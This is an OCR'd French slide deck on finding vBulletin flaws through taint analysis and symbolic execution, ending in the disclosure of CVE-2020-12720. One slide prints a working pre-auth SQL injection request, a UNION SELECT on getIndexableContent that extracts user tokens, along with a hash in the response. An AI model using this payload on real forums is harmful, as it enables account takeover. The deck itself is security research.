\\\ LEXFO

FINDING VBULLETIN O-DAYS THROUGH
POOR MAN'S SYMBOLIC EXECUTION
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\\ VBULLETIN DESCRIPTION / HISTORIQUE

VBULLE TIN

e "Logiciel communautaire leader”
e 100,000+ installs

« CMS: Forum, Blog, Galerie Pnhoto, ..

* Depuis 2000

SECURITE

o« RCE pre-auth en 2019 “bugdoor”

e 54 CVEs depuis 2008
10 CVEs pour des injections SQL

: . Chaouki Bekrar @ A
| @cBekrar

The recent vBulletin pre-auth RCE 0day disclosed by a
researcher on full-disclosure looks like a bugdoor, a
perfect candidate for @PwnieAwards 2020. Easy to
spot and exploit.

Many researchers were selling this exploit for years.
@Zerodium customers were aware of it since 3 years

12:20 PM - Sep 25, 2019 - Twitter Web App

160 Retweets 308 Likes
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N
N VBULLETIN arcrimecrune

ARCHITECTURE

Une partie de l'interaction utilisateur se fait par AP,
Qui utilise des librairies,

Qui utilise des QueryDefs,

Qui exécute des requéetes SQLS




N
N VBULLETIN arcrimecrune

AP

¢ Méthodes accessibles en GET/POST via /ajax/api
« URL /ajax/api/<class>/<method>?<params>
« Majorite pre-authentification

~XeEMPLE

« URL /ajax/api/user/fetchProfileInfo?userid=3
« Méthode: vB Api User::fetchProfileInfo (Suserid)

API — Librairies —— QueryDefs — SOL Query




N
N VBULLETIN arcrimecrune

LIBRAIRIES

o Cere une categorie de donnees
« User, Photo, Attachment, Post, Forum, .

o Creer, modifier, lire, supprimer des donnees

~XeEMPLE

e vB Library User::fetchModerator (Suserid)
e Retourne les droits de modeération d'un utilisateur

API . Librairies —» QueryDefs > SQL Query
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N VBULLETIN arcrimecrune

QUERYDEFS

o Construit une requeéete SQL a partir de parametres
e En contrélant /sécurisant les parametres
o LT execute cette requete

~XeEMPLE

e vB dB MYSQL QueryDefs::userSearchRegisterIP
o A partirdune IP, et d'un ID utilisateur
o \erifie gu'un utilisateur n'est pas le proprietaire d'une P

> aPI ——.| Librairies — Querybefs —_— SQL Query
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VBU LLETI N ARCHITECTURE

function userSearchRegisterIP($params, $db, $check only false)
($check_only)

empty($params[ 'ipaddress']) isset($params[ 'prevuserid']);

$params vB: getCleaner() >cleanﬂrray($params, array(
'ipaddress’ vB_Cleaner: *\—E NOCLEAN,

'prevuserid’ vB_Cleaner: :TYF E_ﬁha ,
));

(substr(%$params['ipaddress'], -1) . substr_count($params['ipaddress'], '.') 3)

$ipaddress_match "ipaddress LIKE '" $db->escape_string_like($params['ipaddress’']) "%

$ipaddress_match "ipaddress = '" . $db->escape_string($params[ 'ipaddress']) £

}

$sqgl
userid, username, ipaddress
TABLE_PREFIX "user AS user
WHERE $ipaddress_match AND
ipaddress <> "' AND
userid <> $params[prevuserid]
ORDER BY username

"W,
3

$resultclass 'vB_dB_' $this->db_type '_result’;
$result $resultclass($db, $sql);
$result;
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VBU LLETI N ARCHITECTURE

API Librairies QueryDefs
vE _Api RAd b vE Library Admin ®» userSearchRegisterIP
:_Z vEB Api Announcement F vB Libkrary Cron TP userSearchIPlU=age
§
__r" \x\
_.r"' \_\ oo P by a
LY //
'\\ e
'\-\.\ /z
%, L
Ly aa s _Jr -
", ,"/ )
vE Api Hook e vE Library Style = - > fetchFromotions
vE_Api User L vB_Libkrary Tags > fetchhpilogs

1000+ 850+ 250+

méthodes méthodes méthodes
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N\
\\ API = QD static TAINT ANALYSIS

SUT

e A partir de AP
o Savoir guelles QueryDefs sont appelées
e £t guels parametres sont controlles

IMPLEMENTATION

« Ftat de l'art: rien ne marche *

o Code —» AST (PHP-Parser, nikic)

o Parcourir toutes les branches, suivre tous les calls
e Maintenir une liste de valeurs controlées

*modulo ma mauvaise foi




API - QD STATIC TAINT ANALYSIS

tyvpe id
($type
$p['id'] o type | id
($type "by_username') | 5 type | 4
'username’ username,;
i 1 -3 ’ 0 type id
R type id
~ay($p, array(
0 type id
1 type id
0 plid] o [username]
-II.IE"I( "Flﬂd_l_]SEf‘l_ 1 plid] o [username]

usEernames

u=sernams

u=sernams

usernams

usernams

usernams

usernams

plid]

plusernames]

plid] o[usernames]
plid] o [username]
plid] j.:u[userr_ame]|
plid] b [username]
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\\ API = QD static TAINT ANALYSIS

RESULTATS

500 chemins difféerents APl = QueryDefs
e 345 (partiellement) controles
o 245 QueryDefs differentes appelees

QUITRPUT

####QueryDef#####H#####HH#HHAHHHHEHE
vBForum dB MySQL QueryDefs::getContentTablesData
--PARAMS———————————— - ——————
PARAMS [not-controlled]:
nodeid|[controlled]:
--CALLCHAINS———===——=—————————————
: :CHAINO
0 vB Api Content::getIndexableContent
1 vB Library Content::getIndexableContent
2 vB Library Content::fillContentTableData
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N\
\\ QUERYDEFS EXECUTION SYMBOLIQUE

RAISONS

o Les QueryDefs sont appelees deux fois
1 : Verification des parametres (presence, type)
empty(). is_ numeric(), in_array(). .

2: 1 & construction et execution de la requéte
cleanArray. cast int/string, mysagl_escape_string(), ..

o Traitement plus complexe des inputs

(is_numeric($params['id']))

$sqgl ' users id=" $param5['id']ﬂ

IMPLEMENTATION

o Structure similaire au tainting

e 23 . maintenir une liste de contrainte sur chague variable
« Type. Valeur/Type. Controllée, Echappée
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N\
\\ QUERYDEFS EXECUTION SYMBOLIQUE

OUITPUT




N\
\\ QUERYDEFS EXECUTION SYMBOLIQUE

RESULTATS

« Symbolic: 12 resultats valides
« Tainting + Symbolic : 2 resultats valides, 1 pre-auth

VUILNERABILITE

e Stacktrace
e vB Api Content::getIndexableContent -
e vB Library Content::getlIndexableContent -
e vB Library Content::fillContentTableData -
e vBForum dB MYSQL QueryDefs::getContentTablesData

e Parametre
e nodelId[nodeid]
e Requéte
e SELECT coll, col?2
FROM prefix <IDENTIFIER> AS <IDENTIFIER>
WHERE <IDENEIFIER>.nOdeid = <CONTROLLED:?>
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N\
\\ EXPLOIT PRE-AUTH SQL INJECTION - RCE

- XPLOIT

Request Response
l/Raw rPamms |/Headers rHex rHackuertor l/Raw rHeaders rHex rHackvertor r]SON Beautifier
| POST fajax/api/content_text/getIndexablecContent [a Il HTTF/1.1 200 OK
HTTE/1.1 B 2 Date: Fri, 01 May 2020 13:20:15 GHMT
2 Host: 172.17.0.3 i Server: Apache/2.4.29 (Ubuntu)
i Content-Type: application/x-www-form-urlencoded 1 gZet-cCookie: seszionhash=36271888767helaelfdf22eerfbbdibdde; path=/; Httponly
4 Ccontent-Length: 131 5 get-cookie: lastvisit=1588339215; path=/; Httponly
5 connection: close 5 get-Ccookie: lastactivity=1588339215; path=/; Httponly
> 7 get-Cookie: sesszionhash=35ebaedl7d40s2ed49c052056dR357475%; path=/; Httponly
" gecurityvtoken=guest&nodeld[nodeid]l=1 and 1=0 union & Cache-Control: max-age=0,noc-cache,no-store, post-check=0, pre-check=0
select 9 Expires: 2at, 1 Jan 2000 01:00:00 GHMT
1,2,3,4,5, CONCAT (username, 0x3a, token),7,8,9,10,11,12,1 10 Last-Modified: Fri, 01 May 2020 13:20:15 ST
3,14 from user -- - 11 Pragma: no-cache

12 WVary: Accept-Encoding

13 Content-Length: 92

14 cConnection: close

15 Content-Type: application/json: charset=UTF-8

L7 {rtitlev:nn, 'rawtext":
“admin:$2y$1D$mcMDpQ8H?UgUHDAbeZdMeBMP\fMFIcQPYLUZGRJUFtHkqu.m6Y4K“ﬁ
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N\
\\ CONCLUSION rakeaway

+ OK

e« Bonne approche
e Jal appris pas mal de choses
o Projet reutilisable (?)

- KO

o LONg et repetitif
e Faites un vral etat de l'art
e Mon boss me doit toujours 2509




N\
\\ CONCLUSION RreporT

e Plus de 10 SQLI remonteées..

e Par le systerme de tickets support

* « Que ce soit par mail ou par le systerme de ticket, ca finira
toujours dans une DB » (a méediter)

e / jours pour patch la SQLI préauth (/)
e Les autres patchs sont en cours
e CVE-2020-12720
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\\\ QUESTIONS ?

\\ L exfo
lexfo fr
AMpDIioNIcs

ambionics.io/blog

Charles Fol
@cfreal
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